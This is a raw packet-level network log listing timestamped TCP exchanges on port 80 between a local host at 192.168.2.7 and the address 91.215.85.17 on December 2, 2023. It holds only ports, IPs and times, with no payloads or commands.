Dec 2, 2023 18:01:44.120995998 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.121004105 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.121011972 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.121035099 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.121035099 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.121035099 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.121049881 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.121098995 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.121108055 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.121115923 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.121128082 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.121135950 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.121143103 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.121150017 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.121156931 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.121157885 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.121166945 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.121192932 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.121229887 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.121263981 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.121275902 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.121283054 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.121290922 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.121299982 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.121306896 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.121315002 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.121321917 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.121329069 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.121336937 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.121349096 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.121356010 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.121361971 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.121371984 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.121378899 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.121378899 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.121378899 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.121378899 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.121387005 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.121397018 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.121402025 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.121429920 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.121454000 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.121462107 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.121469975 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.121476889 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.121484041 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.121491909 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.121499062 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.121506929 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.121510029 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.121525049 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.121540070 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.121648073 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.121656895 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.121697903 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.121834993 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.121843100 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.121884108 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.121891022 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.121897936 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.121905088 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.121911049 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.121917963 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.121923923 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.121961117 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.121961117 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.121961117 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.121990919 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.121999979 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.122086048 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.122097969 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.122111082 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.122118950 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.122124910 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.122132063 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.122139931 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.122145891 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.122148037 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.122148037 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.122153997 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.122162104 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.122169018 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.122175932 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.122175932 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.122185946 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.122194052 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.122200966 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.122208118 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.122217894 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.122226000 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.122226000 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.122277021 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.122303963 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.122315884 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.122323990 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.122330904 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.122337103 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.122349024 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.122376919 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.122376919 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.122401953 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.122411013 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.122419119 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.122431993 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.122514963 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.122528076 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.122534990 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.122548103 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.122572899 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.122572899 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.122957945 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.122965097 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.122972012 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.122983932 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.122989893 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.123002052 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.123008013 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.123020887 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.123028040 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.123034954 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.123042107 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.123044014 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.123044014 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.123116970 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.123127937 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.123136997 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.123148918 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.123156071 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.123162985 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.123169899 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.123182058 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.123188972 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.123195887 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.123203039 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.123204947 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.123204947 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.123204947 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.123212099 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.123223066 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.123243093 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.123258114 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.123265982 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.123337030 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.123363018 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.123368979 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.123372078 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.123378992 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.123392105 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.123399019 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.123428106 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.123441935 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.123467922 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.123475075 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.123630047 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.123636961 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.123645067 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.123656988 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.123677969 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.123693943 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.123702049 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.123864889 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.123958111 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.124413013 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.124420881 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.124432087 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.124444008 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.124491930 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.124491930 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.124500036 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.124512911 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.124519110 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.124531031 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.124540091 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.124552965 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.124557972 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.124561071 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.124573946 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.124583960 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.124591112 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.124604940 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.124604940 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.124604940 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.124629974 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.124639988 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.124644041 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.124650002 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.124658108 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.124671936 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.124680042 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.124685049 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.124706030 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.124706030 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.124737024 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.124744892 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.124757051 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.124763966 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.124772072 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.124782085 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.124789953 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.124797106 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.124797106 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.124839067 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.124866962 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.124876022 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.124885082 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.124948025 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.124958038 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.124969959 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.124970913 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.124980927 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.124989033 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.125000000 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.125003099 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.125009060 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.125067949 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.125067949 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.125181913 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.125190973 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.125232935 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.125252962 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.125262022 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.125269890 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.125277996 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.125284910 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.125286102 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.125293970 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.125300884 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.125304937 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.125318050 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.125318050 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.125329018 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.125340939 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.125360966 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.125389099 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.125413895 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.125422955 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.125468969 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.125478029 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.125487089 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.125499010 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.125535011 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.125535011 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.125648975 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.125879049 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.125889063 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.125897884 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.125910044 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.125917912 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.125927925 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.125935078 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.125979900 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.125987053 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.125988007 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.125988007 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.125996113 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.126003981 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.126010895 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.126018047 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.126029968 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.126038074 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.126040936 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.126055002 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.126087904 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.126087904 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.141556978 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.147809029 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.323013067 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.323025942 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.323041916 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.323051929 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.323061943 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.323069096 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.323081017 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.323092937 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.323101997 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.323113918 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.323828936 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.323828936 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.324028015 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.324038982 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.324047089 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.324054956 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.324089050 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.324990988 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.325000048 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.325011015 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.325017929 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.325025082 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.325032949 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.325042963 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.325050116 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.325057983 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.325088024 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.325109959 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.325119019 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.325145006 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.325166941 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.325177908 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.325202942 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.325222969 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.325258017 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.325282097 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.325289011 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.325292110 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.325303078 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.325310946 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.325321913 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.325351954 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.325359106 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.325357914 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.325366974 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.325373888 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.325381041 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.325536966 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.325546026 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.325552940 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.325560093 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.325571060 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.325577021 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.325578928 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.325578928 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.325578928 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.325584888 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.325592995 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.325601101 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.325608969 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.325615883 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.325623035 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.325630903 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.325644970 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.325654030 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.325660944 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.325669050 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.325681925 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.325689077 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.325689077 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.325689077 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.325689077 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.325699091 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.325798988 CET	49713	80	192.168.2.7	91.215.85.17
